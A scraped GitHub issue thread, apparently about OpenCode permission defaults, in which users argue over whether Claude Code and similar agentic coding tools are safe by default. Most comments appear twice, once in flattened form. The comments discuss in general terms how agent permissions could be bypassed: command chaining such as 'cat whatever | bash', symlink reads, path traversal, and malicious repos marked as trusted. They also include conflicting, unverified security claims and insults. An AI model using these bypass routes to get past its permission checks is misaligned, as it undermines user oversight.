All of these benefit form being bash = "ask" being the default and it would be really useful to restrict file reads and writes based on the file extension, for example to only allow editing markdown files. Ideally these could be different based on which directory you are working in.

@DragonDev1906 commented on GitHub (Dec 17, 2025): First of all, why are you two fighting? You seem to want the same thing. > All agentic coders have these issues All AI agents **that are used for writing code that will be executed** have this issue (source code edit + execute). But terminal applications like opencode are not JUST used for writing code. The following cases do not need code execution, benefit from good permissions and secure defaults and would not need to be sandboxed: - Reviewing a codebase - Analyzing a codebase to see what would need to change, then making the changes yourself - Drafting and refining any kind of markdown files (e.g. personal notes or drafts when making a Video) - Asking for concepts or using the AI as a rubber duck to bounce ideas against All of these benefit form being `bash = "ask"` being the default and it would be really useful to restrict file reads and writes based on the file extension, for example to only allow editing markdown files. Ideally these could be different based on which directory you are working in.

yindo commented

@rgaufman commented on GitHub (Dec 17, 2025):

First of all, why are you two fighting? You seem to want the same thing.

Exactly and well summarised. I don't know who he imaged he was responding to, maybe it's a hallucinating AI bot as it made no sense ;)

@rgaufman commented on GitHub (Dec 17, 2025): > First of all, why are you two fighting? You seem to want the same thing. Exactly and well summarised. I don't know who he imaged he was responding to, maybe it's a hallucinating AI bot as it made no sense ;)

yindo commented

@pakar commented on GitHub (Dec 17, 2025):

@DragonDev1906 It started with that, but he kept insisting that Claude is secure and "take security so seriously" even with proof of the opposite. Making the claims he does is quite dangerous as that may cause others to be lulled into false sense of security.
He also has a habit of making large edits on his posts after getting a reply.

@pakar commented on GitHub (Dec 17, 2025): @DragonDev1906 It started with that, but he kept insisting that Claude is secure and "take security so seriously" even with proof of the opposite. Making the claims he does is quite dangerous as that may cause others to be lulled into false sense of security. He also has a habit of making large edits on his posts after getting a reply.

yindo commented

@rgaufman commented on GitHub (Dec 17, 2025):

@DragonDev1906 It started with that, but he kept insisting that Claude is secure

Don't misrepresent what I said please. I said Claude's defaults are secure enough, they make it more and more secure with every release.

No system is ever 100% secure, it's a complete straw man to say:

You need to download a malicious repo
Explicitly tell Claude to trust it
Explicitly tell Claude to always allow multiple system binaries that can be exploited

And then claim see? Claude has the same problems, it doesn't. It's safe by default unless you explicitly make it unsafe.

You also made a bunch of false claims about command chaining and symlink reading.

But even in each of these examples, the Claude team add more safeguards instead of saying that "it's by design".

He also has a habit of making large edits on his posts after getting a reply.

Large edits? I clarified a few small points, I didn't see you replied.

@rgaufman commented on GitHub (Dec 17, 2025): > @DragonDev1906 It started with that, but he kept insisting that Claude is secure Don't misrepresent what I said please. I said Claude's defaults are secure enough, they make it more and more secure with every release. No system is ever 100% secure, it's a complete straw man to say: 1. You need to download a malicious repo 2. Explicitly tell Claude to trust it 3. Explicitly tell Claude to always allow multiple system binaries that can be exploited And then claim see? Claude has the same problems, it doesn't. It's safe by default unless you explicitly make it unsafe. You also made a bunch of false claims about command chaining and symlink reading. But even in each of these examples, the Claude team add more safeguards instead of saying that "it's by design". > He also has a habit of making large edits on his posts after getting a reply. Large edits? I clarified a few small points, I didn't see you replied.

yindo commented

@pakar commented on GitHub (Dec 17, 2025):

@rgaufman

Don't misrepresent what I said please. I said Claude's defaults are secure enough, they make it more and more secure with every release.

I have not misrepresented what you said. The "take security so seriously" is a direct quote from you regarding claude.
You on the other hand have said i'm making strawman arguments, making false claims and and is hallucinating in my replies, replies i wrote before you made edits.

I have not made any false claims. Everything i have stated i have given you references for. If you are too ignorant to even read and understand those i cannot help you.

Large edits? I clarified a few small points, I didn't see you replied.

I would not call your edits small as some of them changed the complete meaning of what you where saying.

I'm not gonna give you any more time because you are just full of it.

@pakar commented on GitHub (Dec 17, 2025): @rgaufman > Don't misrepresent what I said please. I said Claude's defaults are secure enough, they make it more and more secure with every release. I have not misrepresented what you said. The "take security so seriously" is a direct quote from you regarding claude. You on the other hand have said i'm making strawman arguments, making false claims and and is hallucinating in my replies, replies i wrote before you made edits. I have not made any false claims. Everything i have stated i have given you references for. If you are too ignorant to even read and understand those i cannot help you. > Large edits? I clarified a few small points, I didn't see you replied. **I would not call your edits small as some of them changed the complete meaning of what you where saying.** I'm not gonna give you any more time because you are just full of it.

yindo commented

@rgaufman commented on GitHub (Dec 17, 2025):

@rgaufman
I have not misrepresented what you said. The "take security so seriously"

Give the context, they take security so seriously that they add safeguards even when running inside of malicious repositories you explicitly marked as trusted and explicitly allowed code execution in.

It would be so trivial for you to prove me wrong, just give me a prompt to run and let's see if I get prompted by Claude and Roo Code or not. All the prompt examples you gave do not execute, you are ignorant, or lying, or paranoid - or all 3.

They are not building a tool like checkinstall, that is meant to catch and audit everything make install is doing, that's just a totally different product. I'm completely against the suggestions you made and the conclusions you drawn when it comes to security, they are paranoid delusions and not how the vast majority of users use agentic coders.

I have not made any false claims. Everything i have stated i have given you references for. If you are too ignorant to even read and understand those i cannot help you.

You absolutely made a whole bunch of false claims. I keep calling you out on them and you refuse to provide any reproducible prompt (for the current or any past version for that matter). Give me a prompt, that will do what you claim, in my own code base - I'll wait...

Every reference you provided, including the "severe" ones, require multiple steps by the user to explicitly allow, some times as many as 5 steps. I keep repeating this critical point, you keep pretending I never said it. And even those examples which require overriding all defaults and lying to Claude, they've added safeguards against - which they didn't have to do. Those are situations where I wouldn't actually be against them saying, sorry, that's a design decision - we prompted you, it's on you.

Please try to read carefully and understand. You'll be able to get rid of your VMs and have a much better experience with agentic coders:

Chaining: Just because you whitelisted cat (which is NOT the default), doesn't mean that "cat whatever | bash" will be permitted or even "cat whatever >path", unless you also whitelist bash and whitelist the path. If you're worried about this, disable execution of commands (which is the default), it's perfectly safe to run out of the box as nothing will execute. Are there tools other than OpenCode on the Internet that have/had a chaining problem? - I'm sure there are, that's a strawman.
Individual Commands: Even simple things like if you always allow "biome lint", it will prompt again for "biome anything". Not only are you required to allow the command, it will prompt for new kinds of arguments. But if you're going to let it execute anything, make sure you understand what it is. If you're going to allow all, then sure, do it in a VM or have a backup of your system in the unlikely situation it ends up bricking it. But you are in control, none of this happens without you explicitly allowing it/
Paths: No, if you pass ../anything or /anything, to any command, either directly or in the chain, it immediately prompts.
Symlinks: No, it won't read symlinks outside of the repo without explicit permissions. And now it won't even read symlinks INSIDE of your repo, if they happen to point anywhere outside of it, you have to explicitly allow it.
Executing: No, it won't execute anything unless explicitly permitted.
Trusting Repositories: No, it will not trust any code base unless YOU explicitly tell it to.

You want to run a VM for every VS code and Claude process? - you go right ahead, waste your time. Others will read my comment and laugh, seeing how ridiculous your arguments are, impossible to reproduce, and require hypotheticals like: "what if you download a virus and trust the repo and allow execution? OMG!"

Large edits? I clarified a few small points, I didn't see you replied.

changed the complete meaning of what you where saying.

Another one of those easy to prove, show me an edit that "changed the complete meaning".

@rgaufman commented on GitHub (Dec 17, 2025): > [@rgaufman](https://github.com/rgaufman) > I have not misrepresented what you said. The "take security so seriously" Give the context, they take security so seriously that they add safeguards even when running inside of **malicious repositories** you **explicitly marked as trusted** and **explicitly allowed code execution in**. It would be so trivial for you to prove me wrong, just give me a prompt to run and let's see if I get prompted by Claude and Roo Code or not. All the prompt examples you gave do not execute, you are ignorant, or lying, or paranoid - or all 3. They are not building a tool like checkinstall, that is meant to catch and audit everything make install is doing, that's just a totally different product. I'm completely against the suggestions you made and the conclusions you drawn when it comes to security, they are paranoid delusions and not how the vast majority of users use agentic coders. > I have not made any false claims. Everything i have stated i have given you references for. If you are too ignorant to even read and understand those i cannot help you. You absolutely made a whole bunch of false claims. I keep calling you out on them and you refuse to provide any reproducible prompt (for the current or any past version for that matter). **Give me a prompt, that will do what you claim, in my own code base - I'll wait...** Every reference you provided, including the "severe" ones, **require multiple steps by the user to explicitly allow**, some times as many as 5 steps. I keep repeating this critical point, you keep pretending I never said it. And even those examples which require overriding all defaults and lying to Claude, they've added safeguards against - which they didn't have to do. Those are situations where I wouldn't actually be against them saying, sorry, that's a design decision - we prompted you, it's on you. Please try to read carefully and understand. You'll be able to get rid of your VMs and have a much better experience with agentic coders: - **Chaining**: Just because you whitelisted cat (which is NOT the default), doesn't mean that "cat whatever | bash" will be permitted or even "cat whatever >path", unless you also whitelist bash and whitelist the path. If you're worried about this, disable execution of commands (which is the default), it's perfectly safe to run out of the box as **nothing will execute**. Are there tools other than OpenCode on the Internet that have/had a chaining problem? - I'm sure there are, that's a strawman. - **Individual Commands:** Even simple things like if you always allow "biome lint", it will prompt again for "biome anything". Not only are you required to allow the command, it will prompt for new kinds of arguments. But if you're going to let it execute anything, make sure you understand what it is. If you're going to allow all, then sure, do it in a VM or have a backup of your system in the unlikely situation it ends up bricking it. But you are in control, none of this happens without you explicitly allowing it/ - **Paths**: No, if you pass ../anything or /anything, to any command, either directly or in the chain, it immediately prompts. - **Symlinks**: No, it won't read symlinks outside of the repo without explicit permissions. And now it won't even read symlinks INSIDE of your repo, if they happen to point anywhere outside of it, you have to explicitly allow it. - **Executing**: No, it won't execute anything unless explicitly permitted. - **Trusting Repositories**: No, it will not trust any code base unless YOU explicitly tell it to. You want to run a VM for every VS code and Claude process? - you go right ahead, waste your time. Others will read my comment and laugh, seeing how ridiculous your arguments are, impossible to reproduce, and require hypotheticals like: "what if you download a virus and trust the repo and allow execution? OMG!" > > > Large edits? I clarified a few small points, I didn't see you replied. > > changed the complete meaning of what you where saying. Another one of those easy to prove, show me an edit that "changed the complete meaning".

yindo commented

@pakar commented on GitHub (Dec 18, 2025):

Stop lying making false statements about me. You have no clue about what you are talking about. Accusing me of lying and making false statements is ridiculous.

@pakar commented on GitHub (Dec 18, 2025): Stop lying making false statements about me. You have no clue about what you are talking about. Accusing me of lying and making false statements is ridiculous.

yindo commented